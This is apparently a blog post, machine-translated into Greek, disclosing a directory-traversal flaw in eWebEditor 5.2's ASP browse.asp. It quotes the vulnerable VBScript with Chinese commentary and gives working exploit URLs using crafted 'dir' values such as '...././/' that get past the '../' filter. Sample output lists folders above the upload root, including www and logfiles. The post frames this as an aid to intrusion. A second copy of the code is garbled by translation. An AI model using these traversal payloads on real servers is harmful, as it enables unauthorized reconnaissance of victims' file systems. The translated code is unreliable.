ewebeditor 5,2 τρωτά κατάλογο σειρά
: St0p
Ίδια με το σταθμό επεξεργασίας πριν από τη δική τους εξορθολογισμό της ewebeditor των 5,2 asp έκδοση κουρασμένοι να εργαστούν, να ξεκουραστούν, ένας συντάκτης δεν πιστεύουν πραγματικά βρήκα ένα μικρό παραθυράκι, αν και ο ρόλος της Ωστόσο, δεν πρέπει να χρησιμοποιηθεί για να βοηθήσει ή αρκετά καλά.
Υποβάλετε κενό υπάρχει στην ewebeditor / ASP / browse.asp
Μια 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 'Response.Write sCurrDir 'On Error Resume Next Set oFSO = Server . CreateObject ( "Scripting.FileSystemObject" ) Set oUploadFolder = oFSO. GetFolder ( Server . MapPath ( sCurrDir ) ) '注意一下sCurrDir变量,这个值等下我们可以用到 If Err. Number > 0 Then s_List = "" Exit Function End If If sDir <> "" Then If InstrRev ( sDir, "/" ) > 1 Then s_Url = Left ( sDir, InstrRev ( sDir, "/" ) - 1 ) Else s_Url = "" End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/parentfolder.gif'></td>" & _ "<td>..</td>" & _ "<td> </td>" & _ "</tr>" End If 'Response.Write sDir&"!"&s_List Dim oSubFolder For Each oSubFolder In oUploadFolder. SubFolders 'Response.Write oUploadFolder.SubFolders If sDir = "" Then s_Url = oSubFolder. Name Else s_Url = sDir & "/" & oSubFolder. Name End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/closedfolder.gif'></td>" & _ "<td noWrap>" & oSubFolder. Name & "</td>" & _ "<td> </td>" & _ "</tr>" Next 'Response.Write s_List Set oUploadFiles = oUploadFolder. Files For Each oUploadFile In oUploadFiles 'Response.Write oUploadFile.Name sFileName = oUploadFile. Name If CheckValidExt ( sFileName ) = True Then '这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 If sDir = "" Then s_Url = sContentPath & sFileName Else s_Url = sContentPath & sDir & "/" & sFileName End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'>" & _ "<td>" & FileName2Pic ( sFileName ) & "</td>" & _ "<td noWrap>" & sFileName & "</td>" & _ "<td align=right>" & GetSizeUnit ( oUploadFile. size ) & "</td>" & _ "</tr>" End If Next Set oUploadFolder = Nothing Set oUploadFiles = Nothing 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url If sDir = "" Then s_Url = "" 's_Url = "/" Else s_Url = "/" & sDir & "" 's_Url = "/" & sDir & "/" End If s_List = s_List & "</table>" s_List = HTML2JS ( s_List ) 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url s_List = "parent.setDirList(" "" & s_List & "" ", " "" & s_Url & "" ")" GetList = s_List End Function '如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 Function CheckValidExt ( s_FileName ) If sAllowExt = "" Then CheckValidExt = True Exit Function End If Dim i, aExt, sExt sExt = LCase ( Mid ( s_FileName, InStrRev ( s_FileName, "." ) + 1 ) ) CheckValidExt = False aExt = Split ( LCase ( sAllowExt ) , "|" ) For i = 0 To UBound ( aExt ) If aExt ( i ) = sExt Then CheckValidExt = True Exit Function End If Next End Function '我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 Sub InitParam ( ) sType = UCase ( Trim ( Request . QueryString ( "type" ) ) ) sStyleName = Trim ( Request . QueryString ( "style" ) ) Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 To Ubound ( aStyle ) aStyleConfig = Split ( aStyle ( i ) , "|||" ) If Lcase ( sStyleName ) = Lcase ( aStyleConfig ( 0 ) ) Then bValidStyle = True Exit For End If Next If bValidStyle = False Then OutScript ( "alert('Invalid Style.')" ) End If sBaseUrl = aStyleConfig ( 19 ) 'nAllowBrowse = CLng(aStyleConfig(43)) nAllowBrowse = 1 If nAllowBrowse <> 1 Then OutScript ( "alert('Do not allow browse!')" ) End If sUploadDir = aStyleConfig ( 3 ) If Left ( sUploadDir, 1 ) <> "/" Then Select Case sType Case "REMOTE" sUploadDir = "../../" & sUploadDir & "Image/" Case "FILE" sUploadDir = "../../" & sUploadDir & "Other/" Case "MEDIA" sUploadDir = "../../" & sUploadDir & "Media/" Case "FLASH" sUploadDir = "../../" & sUploadDir & "Flash/" Case Else sUploadDir = "../../" & sUploadDir & "Image/" End Select End If 'sUploadDir =sUploadDir &"/" Select Case sBaseUrl Case "0" 'sContentPath = aStyleConfig(23) Select Case sType Case "REMOTE" sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" Case "FILE" sContentPath = "../" & aStyleConfig ( 3 ) & "Other/" Case "MEDIA" sContentPath = "../" & aStyleConfig ( 3 ) & "Media/" Case "FLASH" sContentPath = "../" & aStyleConfig ( 3 ) & "Flash/" Case Else sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" End Select Case "1" sContentPath = RelativePath2RootPath ( sUploadDir ) Case "2" sContentPath = RootPath2DomainPath ( RelativePath2RootPath ( sUploadDir ) ) End Select Select Case sType Case "REMOTE" sAllowExt = aStyleConfig ( 10 ) Case "FILE" sAllowExt = aStyleConfig ( 6 ) Case "MEDIA" sAllowExt = aStyleConfig ( 9 ) Case "FLASH" sAllowExt = aStyleConfig ( 7 ) Case Else sAllowExt = aStyleConfig ( 8 ) End Select sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 sDir = Trim ( Request ( "dir" ) ) '得到dir变量 sDir = Replace ( sDir, "\" , "/" ) '对dir变量进行过滤 sDir = Replace ( sDir, "../" , "" ) sDir = Replace ( sDir, "./" , "" ) If sDir <> "" Then If CheckValidDir ( Server . Mappath ( sUploadDir & sDir ) ) = True Then sCurrDir = sUploadDir & sDir & "/" '重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出 Else sDir = "" End If End If End Sub GetList Λειτουργία () Dim s_List, s_Url s_List = "" Δημ. oFSO, oUploadFolder, oUploadFiles, oUploadFile, «Response.Write sCurrDir» sFileName On Error Συνέχιση επόμενη σειρά oFSO = διακομιστή. CreateObject ("Scripting.FileSystemObject") oUploadFolder Set = oFSO. GetFolder (Server. MapPath (sCurrDir)) «σημείωση sCurrDir μεταβλητή, η τιμή αυτή μπορούμε να χρησιμοποιήσουμε την περίπτωση που το Μήνυμα Αριθμός> 0 τότε s_List =" "End Function Έξοδος Αν τα sDir <>" "Τότε Αν InstrRev (sDir "/")> 1 Τότε s_Url = Αριστερά (sDir, InstrRev (sDir, "/") - 1) Αλλιώς s_Url = "" End If s_List = s_List & "<tr onclick =" doRowClick (αυτό) "onmouseover =" doRowOver (αυτό) «onMouseOut = 'doRowOut (αυτό)« isdir = "αλήθεια" path =' "& s_Url &" '> "& _" <td> <img border = 0 src = ".. / sysimage / αρχείο / parentfolder gif "> </ td>" & _ "<td> .. </ td>" & _ "<td> </ td>" & _ "</ tr>" End If 'ο Response.Write sDir & "!" s_List & Δημ. oSubFolder Για κάθε oSubFolder Σε oUploadFolder. oUploadFolder.SubFolders Response.Write υποφακέλους «Αν sDir =" "Τότε s_Url = oSubFolder. Όνομα υπόλοιπα s_Url = sDir &" / "& oSubFolder. Τέλος Όνομα Αν s_List = s_List &" <tr onmouseout='doRowOut(this)' onmouseover='doRowOver(this)' onclick='doRowClick(this)' isdir='true' path='" & s_Url & "'> "& _" <td> <img border = 0 src = ".. / sysimage / αρχείο / closedfolder.gif"> </ td> "& _" <td noWrap> "& oSubFolder. Όνομα &" </ td> "& _" <td> </ td> "& _" </ tr> "Επόμενο" Response.Write Σετ s_List oUploadFiles = oUploadFolder. αρχεία για κάθε oUploadFile Σε oUploadFiles »sFileName oUploadFile.Name Response.Write = oUploadFile. Όνομα Αν CheckValidExt (sFileName) = αλήθεια, τότε «Αυτή η γραμμή ήταν λίγο κατάθλιψη, να ανιχνεύει κάθε επιτρέπεται επίθημα αρχείο, όπως το να μην δεν θα είναι σε θέση να απαριθμήσει ή να μην αναφέρουμε μόνο το όνομα του καταλόγου και το αρχείο εικόνας του Αν sDir =" "Τότε s_Url = sContentPath & sFileName υπόλοιπα s_Url = sContentPath να & sDir & "/" & End sFileName Αν s_List = s_List & "<tr onmouseover='doRowOver(this)' onclick='doRowClick(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'> "& _" <td> "& FileName2Pic (sFileName) &" </ td> "& _" <td noWrap> "& sFileName &" </ td> "& _" <td align=right> "& GetSizeUnit ( oUploadFile. μέγεθος) & "</ td>" & _ "</ tr>" End If Set Επόμενο oUploadFolder oUploadFiles = Τίποτα δεν Set = Τίποτα δεν Response.Write Server.HTMLEncode (s_List) & "!" & s_Url Αν sDir = "" Στη συνέχεια s_Url = "" 's_Url = "/" Διαφορετικά s_Url = "/" & sDir & "" "s_Url =" / "& sDir &" / "End If s_List = s_List &" </ table> "s_List = HTML2JS ( s_List) «Response.Write Server.HTMLEncode (s_List) &"! "& s_Url s_List =" parent.setDirList ("" "& s_List &" "" "" "& s_Url &" "") "GetList = End Function Για s_List «Αν δεν βήμα ανίχνευσης, θα πρέπει να είναι σε θέση να απαριθμήσει όλα τα αρχεία στον κατάλογο, και λίγο καταθλιπτικός .. απαριθμεί τώρα μόνο τα αρχεία και τους καταλόγους να επιτρέψει επίθημα όνομα Λειτουργία CheckValidExt (s_FileName) Εάν η sAllowExt =" "Τότε CheckValidExt = True End λειτουργία εξόδου Αν θ Δημ., aExt, Sext Sext = LCase (Mid (s_FileName, InStrRev (s_FileName,) + 1) ".") CheckValidExt = False aExt = Σπλιτ (LCase (sAllowExt), "|") Για i = 0 Για να UBound (aExt) Εάν aExt (i) = Sext Τότε CheckValidExt = True End Function Αν Έξοδος Επόμενο End Function Για «κάτω από το κώδικα για να βρείτε βρέθηκαν αξία sCurrDir από τα παρακάτω αξίζει Υπο InitParam () = sType UCase (Περικοπή (Request. QueryString ("τύπος"))) sStyleName = Trim (Request. QueryString ("στυλ")) Dim i, aStyleConfig, bValidStyle bValidStyle = False Για i = 1 έως UBound (aStyle) = aStyleConfig Σπλιτ (aStyle (θ), "| | |") Αν LCase (sStyleName) = LCase (aStyleConfig (0)) Στη συνέχεια bValidStyle = True Έξοδος Για End If Επόμενη Αν bValidStyle = False Τότε OutScript ("alert ('Άκυρα στυλ.')") End If sBaseUrl = aStyleConfig (19) «nAllowBrowse = CLng (aStyleConfig (43)) = 1 nAllowBrowse Αν nAllowBrowse <> 1 Τότε OutScript (" προειδοποίησης («Μην αφήνετε περιηγηθείτε! ')") End If sUploadDir = aStyleConfig (3) Αν Αριστερά (sUploadDir, 1) <> "/" και μετά επιλέξτε υπόθεση υπόθεση sType «εξ αποστάσεως» sUploadDir = ".. / .. /" & sUploadDir & "Εικόνα /" υπόθεση "ΑΡΧΕΙΟ" sUploadDir = ".. / .. / "& sUploadDir &" Άλλα / "υπόθεση" MEDIA "sUploadDir =" .. / .. / "& sUploadDir &" Media / "υπόθεση" FLASH "sUploadDir =" .. / .. / "& sUploadDir &" Flash / " Υπόθεση Else sUploadDir = ".. / .. /" & sUploadDir & "Εικόνα /" End Select End If 'sUploadDir = sUploadDir & "/" Επιλογή υπόθεση sBaseUrl υπόθεση "0"' sContentPath = aStyleConfig (23) Επιλογή υπόθεση sType υπόθεση " REMOTE "sContentPath =" .. / "& aStyleConfig (3) &" Εικόνα / "υπόθεση" ΑΡΧΕΙΟ "sContentPath =" .. / "& aStyleConfig (3) και" Άλλα / "υπόθεση" MEDIA "sContentPath =" .. / "& aStyleConfig (3) και« Media / "υπόθεση" FLASH "sContentPath =" .. / "& aStyleConfig (3) &" Flash / "Υπόθεση Else sContentPath =" .. / "& aStyleConfig (3) &" Εικόνα / "End Select υπόθεση" 1 "= sContentPath RelativePath2RootPath (sUploadDir) Υπόθεση" 2 "sContentPath = RootPath2DomainPath (RelativePath2RootPath (sUploadDir)) Τέλος Επιλέξτε Επιλέξτε sType υπόθεση υπόθεση« εξ αποστάσεως »sAllowExt = aStyleConfig (10) Υπόθεση" ΑΡΧΕΙΟ "sAllowExt = aStyleConfig (6 ) Υπόθεση "MEDIA" sAllowExt aStyleConfig = (9) Υπόθεση "FLASH" sAllowExt aStyleConfig = (7) Υπόθεση υπόλοιπα sAllowExt = aStyleConfig (8) Τέλος Επιλέξτε sCurrDir = Σημείωση sUploadDir », αυτή είναι η διαδρομή προς τη διαμόρφωση διεύθυνση sDir = Trim ( Αίτηση (το «dir»)) «να πάρει τη μεταβλητή sDir dir = Αντικατάσταση (sDir," \ "," / ")" σκην μεταβλητή το φίλτρο sDir = Αντικατάσταση (sDir ".. /", "") sDir = Αντικατάσταση ( η sDir, ". /", "") Αν sDir <> "" Τότε Αν CheckValidDir (Server. Mappath (sUploadDir & sDir)) = αλήθεια, τότε sCurrDir = sUploadDir & sDir & "/" "επικεντρωθεί εδώ, δείτε Όχι, όταν όταν sUploadDir & sDir, sCurrDir σχετικά με την αξία των sUploadDir & «sDir Παρόλο που στο πρόσωπο του sDir φιλτράρεται, αλλά μπορούμε να αποφύγουμε. st0p συγκεκριμένη χρήση η sDir Αλλιώς θα δοθεί στη χρήση των ακόλουθων = "End If End If End Sub |
Γεια σου, δείτε αυτό πρέπει να καταλάβετε ότι, στην πραγματικότητα, το φιλτράρισμα είναι dir, μπορούμε να κατασκευάσουμε μια ιδιαίτερη αξία για να παρακάμψετε τον έλεγχο, έτσι μπορείτε να πάρετε τη δομή του καταλόγου και να εμφανίσει το αρχείο με την επέκταση των αρχείων επιτρέπεται στο αρχείο ρυθμίσεων ..
Η χρήση των μεθόδων είναι οι εξής
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=..../.// ..
Η δοκιμή του st0p η αποστολή κατάλογος είναι ο κατάλογος ρίζας του uploadfile η παραπάνω διεύθυνση μπορείτε να βρείτε όλους τους καταλόγους στο ριζικό κατάλογο.
Γεια σου, αν βρείτε μια ανοιχτή οθόνη είναι κενή, δεν χάνουν την καρδιά, που βλέπουν τον πηγαίο κώδικα, θα δείτε, η οποία θα έχει ριζικό σας το όνομα του καταλόγου.
Ο root directory υπάρχει ένας κατάλογος πελατών, μπορούμε να απαριθμήσει στην ακόλουθη διεύθυνση ακόλουθη δομή του
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/...././/guest
Στη συνέχεια, μπορούμε επίσης να
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/../..../.// ..
Μετάβαση στα ανώτερα στρώματα, εικονική υποδοχής δοκιμή μου, να πάρει τους τρεις κατάλογο του www, logfile, datebase.
Μια
| <HTML> <HEAD> <meta Http-equiv='Content-Type' content='text/html; charset=utf-8'> <TITLE> eWebEditor </ TITLE> </ head> <body> <= γλώσσα γραφής javascript> parent.setDirList ("onclick='doRowClick(this)' <tr onmouseout='doRowOut(this)' onmouseover='doRowOver(this)' isdir='true' path='../..'> <td > <img border=0 src='../sysimage/file/parentfolder.gif'> </ td> <td> .. </ td> <td> </ td> </ tr> <tr onclick «doRowClick (αυτό) '= onmouseover =" doRowOver (αυτό) «onMouseOut =' doRowOut (αυτό)« isdir = "αλήθεια" path = '.. / .. / .. / logfiles »> <td> <img = σύνορα 0 src = ".. / sysimage / αρχείο / closedfolder.gif"> </ td> <td noWrap> αρχεία καταγραφής </ td> <td> </ td> </ tr> <tr onclick = doRowClick »(αυτό ) "onmouseover =" doRowOver (αυτό) «onMouseOut = 'doRowOut (αυτό)« isdir = "αλήθεια" path =' .. / .. / .. / www '> <td> <img border = 0 src = ". . / sysimage / αρχείο / closedfolder.gif "> </ td> <td noWrap> www </ td> <td> </ td> </ tr> </ table>", "/ .. / .. / .. ") </ span> </ body> </ html> |
Αυτή η ευπάθεια μπορεί να θεωρηθεί μόνο όταν η βοηθητική χρήση της ανίχνευσης εισβολής, μπορείτε να πάρετε τη δομή του καταλόγου, για παράδειγμα, την αλλαγή του καταλόγου τη διαχείριση, τον κατάλογο της βάσης δεδομένων, έτσι μπορείτε να πάρετε το όνομα του καταλόγου, αλλά δεν μπορώ να απαριθμήσει τα αρχεία ας st0p κατάθλιψη. εγώ ....
Αυτό είναι το δεύτερο πρωτότυπο έγγραφο που εκδίδεται από την st0p στο blog του, μετά από πολλαπλές, Ga, τώρα είναι επίσης θεωρείται άνοιξε στο blog ..
Σημείωση: Το άλμα στον Κατάλογο ιστοσελίδα που χρησιμοποιείται σε όλα τα βρήκα με τη ρεσεψιόν θα αντικατασταθεί










































228 Trackback (ες)
Πρέπει να είστε συνδεδεμένοι για να ταχυδρομήσει ένα σχόλιο.